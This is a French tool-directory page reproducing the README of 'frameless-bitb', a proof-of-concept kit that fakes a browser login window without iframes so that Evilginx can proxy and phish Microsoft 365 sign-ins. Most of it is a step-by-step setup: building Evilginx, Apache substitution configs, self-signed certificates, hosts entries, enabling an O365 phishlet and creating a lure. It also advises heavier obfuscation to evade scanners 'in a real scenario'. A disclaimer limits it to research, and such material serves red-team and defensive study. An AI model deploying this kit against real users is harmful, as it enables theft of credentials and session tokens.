Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/waelmas/frameless-bitb
Outils de PhishingÉvasion IDS/IPSExploitation d'Applications WebHameçonnageIngénierie SocialeApprentissage et Éducation
GitHubwaelmas/frameless-bitb

frameless-bitb

Une nouvelle approche du Browser In The Browser (BITB) sans utilisation d'iframes, permettant de contourner les framebusters traditionnels implémentés par les pages de connexion comme Microsoft et l'utilisation avec Evilginx.

Voir le dépôt
4557345il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Frameless BITB

Une nouvelle approche du Browser In The Browser (BITB) sans utiliser d'iframes, permettant de contourner les framebusters traditionnels implémentés par les pages de connexion comme celles de Microsoft.

Ce code POC est conçu pour utiliser ce nouveau BITB avec Evilginx, ainsi qu'un phishlet Microsoft Enterprise.

Frameless-BITB-DEMO-compressed

Avant de plonger dans ce sujet, je vous recommande d'abord de consulter ma présentation au BSides 2023, où j'ai introduit ce concept ainsi que des détails importants sur la façon de concevoir l'attaque de phishing « parfaite ». ▶ Regarder la vidéo

☕︎ Offre-moi un café

Tutoriel vidéo : 👇

Avertissement

Cet outil est destiné uniquement à des fins éducatives et de recherche. Il illustre une méthode de Browser In The Browser (BITB) non basée sur les iframes. L'auteur n'est pas responsable d'une utilisation abusive. Utilisez cet outil uniquement de manière légale et éthique, dans des environnements contrôlés pour les tests de défense en cybersécurité. En utilisant cet outil, vous acceptez de le faire de manière responsable et à vos propres risques.

Contexte - Le Pourquoi

Au cours de l'année écoulée, j'ai expérimenté différents astuces pour concevoir l'attaque de phishing « parfaite ». Les « drapeaux rouges » typiques que les gens sont formés à repérer sont des choses comme l'urgence, les menaces, l'autorité, une mauvaise grammaire, etc. La prochaine chose que les gens vérifient de nos jours est le lien/URL du site web avec lequel ils interagissent, et ils deviennent très conscients dès qu'on leur demande de saisir des informations d'identification sensibles comme les e-mails et les mots de passe.

C'est là que le Browser In The Browser (BITB) est entré en jeu. Initialement présenté par @mrd0x, le BITB est un concept qui crée l'apparence d'une fenêtre de navigateur crédible à l'intérieur de laquelle l'attaquant contrôle le contenu (en servant le site malveillant dans une iframe). Cependant, la barre d'URL factice de la fausse fenêtre de navigateur est définie sur le site légitime que l'utilisateur attend. Combiné à un outil comme Evilginx, cela devient la recette parfaite pour une attaque de phishing crédible.

Le problème est qu'au cours des derniers mois/années, des sites majeurs comme Microsoft ont mis en œuvre diverses petites astuces appelées « framebusters/framekillers » qui tentent principalement de briser les iframes qui pourraient être utilisées pour servir le site proxyfié, comme dans le cas d'Evilginx.

En bref, Evilginx + BITB pour des sites comme Microsoft ne fonctionne plus. Du moins pas avec un BITB qui repose sur des iframes.

Le Quoi

Un Browser In The Browser (BITB) sans aucune iframe ! Aussi simple que cela.

Cela signifie que nous pouvons désormais utiliser BITB avec Evilginx sur des sites comme Microsoft.

Evilginx n'est qu'un exemple fort, mais le même concept peut être utilisé pour d'autres cas d'usage également.

Le Comment

Les framebusters ciblent spécifiquement les iframes, donc l'idée est de créer l'effet BITB sans utiliser d'iframes, et sans perturber la structure/contenu original de la page proxyfiée. Cela peut être réalisé en injectant des scripts et du HTML à côté du contenu original en utilisant la recherche et le remplacement (substitutions), puis en se fiant entièrement à des astuces HTML/CSS/JS pour créer l'effet visuel. Nous utilisons également une astuce supplémentaire appelée « Shadow DOM » en HTML pour placer le contenu de la page d'atterrissage (arrière-plan) de manière à ce qu'il n'interfère pas avec le contenu proxyfié, ce qui nous permet d'utiliser n'importe quelle page d'atterrissage de manière flexible avec quelques scripts JS supplémentaires.

Instructions

Tutoriel vidéo

Thumbnail with YouTube Player

https://youtu.be/luJjxpEwVHI

Machine virtuelle locale :

Créez une machine virtuelle Linux locale. (J'utilise personnellement Ubuntu 22 sur VMWare Player ou Parallels Desktop)

Mettez à jour et mettez à niveau les paquets système :

root@kitploit:~
sudo apt update && sudo apt upgrade -y

Configuration Evilginx :

Optionnel :

Créez un nouvel utilisateur evilginx et ajoutez-le au groupe sudo :

sudo su

adduser evilginx

usermod -aG sudo evilginx

Vérifiez que l'utilisateur evilginx est dans le groupe sudo :

su - evilginx

sudo ls -la /root

Accédez au répertoire personnel de l'utilisateur :

cd /home/evilginx

(Vous pouvez également tout faire en tant qu'utilisateur sudo puisque nous exécutons tout localement)

Mise en place d'Evilginx

Téléchargez et compilez Evilginx : Documentation officielle

Copiez les fichiers Evilginx dans /home/evilginx

Installez Go : Documentation officielle

root@kitploit:~
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
root@kitploit:~
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
root@kitploit:~
nano ~/.profile

AJOUTER : export PATH=$PATH:/usr/local/go/bin

root@kitploit:~
source ~/.profile

Vérifiez :

root@kitploit:~
go version

Installez make :

root@kitploit:~
sudo apt install make

Compilez Evilginx :

root@kitploit:~
cd /home/evilginx/evilginx2
root@kitploit:~
make

Créez un nouveau répertoire pour notre build Evilginx avec les phishlets et redirecteurs :

root@kitploit:~
mkdir /home/evilginx/evilginx

Copiez le build, les phishlets et les redirecteurs :

root@kitploit:~
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx

cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors

cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets

Correctif rapide du pare-feu Ubuntu (merci à @kgretzky)

root@kitploit:~
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx

Sous Ubuntu, si vous obtenez l'erreur Failed to start nameserver on: :53, essayez de modifier ce fichier

root@kitploit:~
sudo nano /etc/systemd/resolved.conf

éditez/ajoutez DNSStubListener à no > DNSStubListener=no

puis

root@kitploit:~
sudo systemctl restart systemd-resolved

Modifier les configurations Evilginx :

Puisque nous allons utiliser Apache2 devant Evilginx, nous devons faire écouter Evilginx sur un port différent du 443.

root@kitploit:~
nano ~/.evilginx/config.json

CHANGEZ https_port de 443 à 8443

Installer Apache2 et activer les modules :

Installez Apache2 :

root@kitploit:~
sudo apt install apache2 -y

Activez les modules Apache2 qui seront utilisés : (Nous désactivons également le module access_compat car il cause parfois des problèmes)

root@kitploit:~
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat

Démarrez et activez Apache :

root@kitploit:~
sudo systemctl start apache2
root@kitploit:~
sudo systemctl enable apache2

Essayez si Apache et le réseau de la VM fonctionnent en visitant l'IP de la VM depuis un navigateur sur la machine hôte.

Cloner ce dépôt :

Installez git s'il n'est pas déjà disponible :

root@kitploit:~
sudo apt -y install git

Clonez ce dépôt :

root@kitploit:~
git clone https://github.com/waelmas/frameless-bitb
root@kitploit:~
cd frameless-bitb

Pages Apache personnalisées :

Créez les répertoires pour les pages que nous allons servir :

  • home : (Optionnel) Page d'accueil (au domaine de base)
  • primary : Page d'atterrissage (arrière-plan)
  • secondary : Fenêtre BITB (premier plan)
root@kitploit:~
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary

Copiez les répertoires pour chaque page :

root@kitploit:~
sudo cp -r ./pages/home/ /var/www/

sudo cp -r ./pages/primary/ /var/www/

sudo cp -r ./pages/secondary/ /var/www/

Optionnel : Supprimez la page Apache par défaut (non utilisée) :

root@kitploit:~
sudo rm -r /var/www/html/

Copiez le phishlet O365 dans le répertoire des phishlets :

root@kitploit:~
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml

Optionnel : Pour configurer le widget Calendly afin d'utiliser votre compte au lieu de celui par défaut que j'ai inclus, allez dans pages/primary/script.js et modifiez CALENDLY_PAGE_NAME et CALENDLY_EVENT_TYPE.

Note sur l'obfuscation de la démo : Comme je l'explique dans la vidéo explicative, j'ai inclus une obfuscation minimale pour le contenu textuel comme les URL et les titres du BITB. Vous pouvez ouvrir l'obfuscateur de démonstration en ouvrant demo-obfuscator.html dans votre navigateur. Dans un scénario réel, je recommande vivement d'obfusquer de plus gros morceaux du code HTML injecté ou d'utiliser des astuces JS pour éviter d'être détecté et signalé. La version avancée sur laquelle je travaille utilisera une combinaison d'astuces avancées pour rendre quasiment impossible aux scanners de reconnaître/détecter le code BITB, alors restez à l'écoute.

Certificats SSL auto-signés :

Puisque nous exécutons tout localement, nous devons générer des certificats SSL auto-signés qui seront utilisés par Apache. Evilginx n'aura pas besoin des certificats car nous le ferons fonctionner en mode développeur.

Nous utiliserons le domaine fake.com qui pointera vers notre VM locale. Si vous souhaitez utiliser un domaine différent, assurez-vous de le modifier dans tous les fichiers (fichiers de configuration Apache, fichiers JS, etc.)

Créez le répertoire et ses parents s'ils n'existent pas :

root@kitploit:~
sudo mkdir -p /etc/ssl/localcerts/fake.com/

Générez les certificats SSL en utilisant le fichier de configuration OpenSSL :

root@kitploit:~
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf

Modifiez les permissions de la clé privée :

root@kitploit:~
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem

Configurations Apache personnalisées :

Copiez les fichiers de substitution personnalisés (le cœur de notre approche) :

root@kitploit:~
sudo cp -r ./custom-subs /etc/apache2/custom-subs

Note importante : Dans ce dépôt, j'ai inclus 2 configurations de substitution pour BITB Chrome sur Mac et Chrome sur Windows. Les deux incluent une détection automatique et un style pour le mode clair/sombre, et elles doivent servir de modèles de base pour réaliser la même chose pour d'autres combinaisons navigateur/OS. Comme je n'ai pas inclus de détection automatique de la combinaison navigateur/OS utilisée pour visiter notre page de phishing, vous devrez en utiliser une parmi les deux ou implémenter votre propre logique pour la commutation automatique.

Les deux fichiers de configuration dans /apache-configs/ sont les mêmes, seule la directive Include utilisée pour le fichier de substitution qui sera inclus diffère. (il y a 2 références pour chaque fichier)

root@kitploit:~
# Décommentez celui que vous souhaitez et n'oubliez pas de redémarrer Apache après toute modification :
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf

Pour simplifier, j'ai inclus les deux versions sous forme de fichiers séparés pour cette prochaine étape.

Windows/Chrome BITB :

root@kitploit:~
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Mac/Chrome BITB :

root@kitploit:~
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Testez les configurations Apache pour vous assurer qu'il n'y a pas d'erreurs :

root@kitploit:~
sudo apache2ctl configtest

Redémarrez Apache pour appliquer les modifications :

root@kitploit:~
sudo systemctl restart apache2

Modifier le fichier hosts :

Obtenez l'IP de la VM en utilisant ifconfig et notez-la quelque part pour l'étape suivante.

Nous devons maintenant ajouter de nouvelles entrées à notre fichier hosts, pour faire pointer le domaine utilisé dans cette démo fake.com et tous les sous-domaines utilisés vers notre VM sur laquelle Apache et Evilginx sont en cours d'exécution.

Sous Windows :

Ouvrez le Bloc-Notes en tant qu'administrateur (Recherche > Bloc-Notes > Clic droit > Exécuter en tant qu'administrateur)

Cliquez sur l'option Fichier (en haut à gauche) et dans la barre d'adresse de l'Explorateur de fichiers, copiez et collez ce qui suit :

C:\Windows\System32\drivers\etc\

Changez le type de fichiers (en bas à droite) en « Tous les fichiers ».

Double-cliquez sur le fichier nommé hosts

Sous Mac :

Ouvrez un terminal et exécutez la commande suivante :

root@kitploit:~
sudo nano /private/etc/hosts

Modifiez maintenant les enregistrements suivants (remplacez [IP] par l'IP de votre VM) puis collez les enregistrements à la fin du fichier hosts :

root@kitploit:~
# Configuration locale Apache et Evilginx
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# Fin de la section

Sauvegardez et quittez.

Redémarrez maintenant votre navigateur avant de passer à l'étape suivante.

Note : Sous Mac, utilisez la commande suivante pour vider le cache DNS :

sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder

Note importante :

Cette démo est réalisée avec le phishlet Office 365 Enterprise fourni. Pour obtenir les entrées hosts que vous devez ajouter pour un phishlet différent, utilisez phishlet get-hosts [NOM_DU_PHISHLET] mais n'oubliez pas de remplacer le 127.0.0.1 par l'IP locale réelle de votre VM.

Approuver les certificats SSL auto-signés :

Puisque nous utilisons des certificats SSL auto-signés, notre navigateur nous avertira à chaque fois que nous essaierons de visiter fake.com, nous devons donc faire en sorte que notre machine hôte approuve l'autorité de certification qui a signé les certificats SSL.

Pour cette étape, il est plus facile de suivre les instructions vidéo, mais voici l'essentiel quand même.

Ouvrez https://fake.com/ dans votre navigateur Chrome.

Ignorez l'avertissement de site non sécurisé et accédez à la page.

Cliquez sur l'icône SSL > Détails > Exporter le certificat IMPORTANT : Lors de l'enregistrement, le nom DOIT se terminer par .crt pour que Windows l'ouvre correctement.

Double-cliquez dessus > installer pour l'utilisateur actuel. Ne sélectionnez PAS automatique, placez plutôt le certificat dans un magasin spécifique : sélectionnez « Autorités de certification racines de confiance ».

Sous Mac : pour installer uniquement pour l'utilisateur actuel > sélectionnez « Trousseau : connexion » ET cliquez sur « Afficher les certificats » > détails > confiance > Toujours approuver

Redémarrez MAINTENANT votre navigateur

Vous devriez pouvoir visiter https://fake.com maintenant et voir la page d'accueil sans aucun avertissement SSL.

Lancer Evilginx :

À ce stade, tout devrait être prêt, nous pouvons donc démarrer Evilginx, configurer le phishlet, créer notre leurre et le tester.

Optionnel : Installez tmux (pour garder Evilginx en cours d'exécution même si la session terminal est fermée. Principalement utile lors de l'exécution sur une machine virtuelle distante.)

root@kitploit:~
sudo apt install tmux -y

Démarrez Evilginx en mode développeur (en utilisant tmux pour éviter de perdre la session) :

root@kitploit:~
tmux new-session -s evilginx
root@kitploit:~
cd ~/evilginx/
root@kitploit:~
./evilginx -developer

(Pour se rattacher à la session tmux, utilisez tmux attach-session -t evilginx)

Configuration Evilginx :

root@kitploit:~
config domain fake.com
root@kitploit:~
config ipv4 127.0.0.1

IMPORTANT : Configurez le mode Blacklist d'Evilginx sur NoAdd pour éviter de blacklister Apache puisque toutes les requêtes proviendront d'Apache et non de l'IP réelle du visiteur.

root@kitploit:~
blacklist noadd

Configuration du phishlet et du leurre :

root@kitploit:~
phishlets hostname O365 fake.com
root@kitploit:~
phishlets enable O365
root@kitploit:~
lures create O365
root@kitploit:~
lures get-url 0

Copiez l'URL du leurre et visitez-la depuis votre navigateur (utilisez un utilisateur invité sur Chrome pour éviter d'avoir à supprimer toutes les données enregistrées/mises en cache entre les tests).

Ressources utiles

BITB original basé sur iframe par @mrd0x : https://github.com/mrd0x/BITB

Cours Evilginx Mastery par le créateur d'Evilginx @kgretzky : https://academy.breakdev.org/evilginx-mastery

Ma conférence au BSides 2023 : https://www.youtube.com/watch?v=p1opa2wnRvg

Comment protéger Evilginx en utilisant Cloudflare et l'obfuscation HTML : https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation

Ressources Evilginx pour Microsoft 365 par @BakkerJan : https://janbakker.tech/evilginx-resources-for-microsoft-365/

TODO

  • Créer un ou plusieurs scripts pour automatiser la plupart des étapes
Télécharger l’outil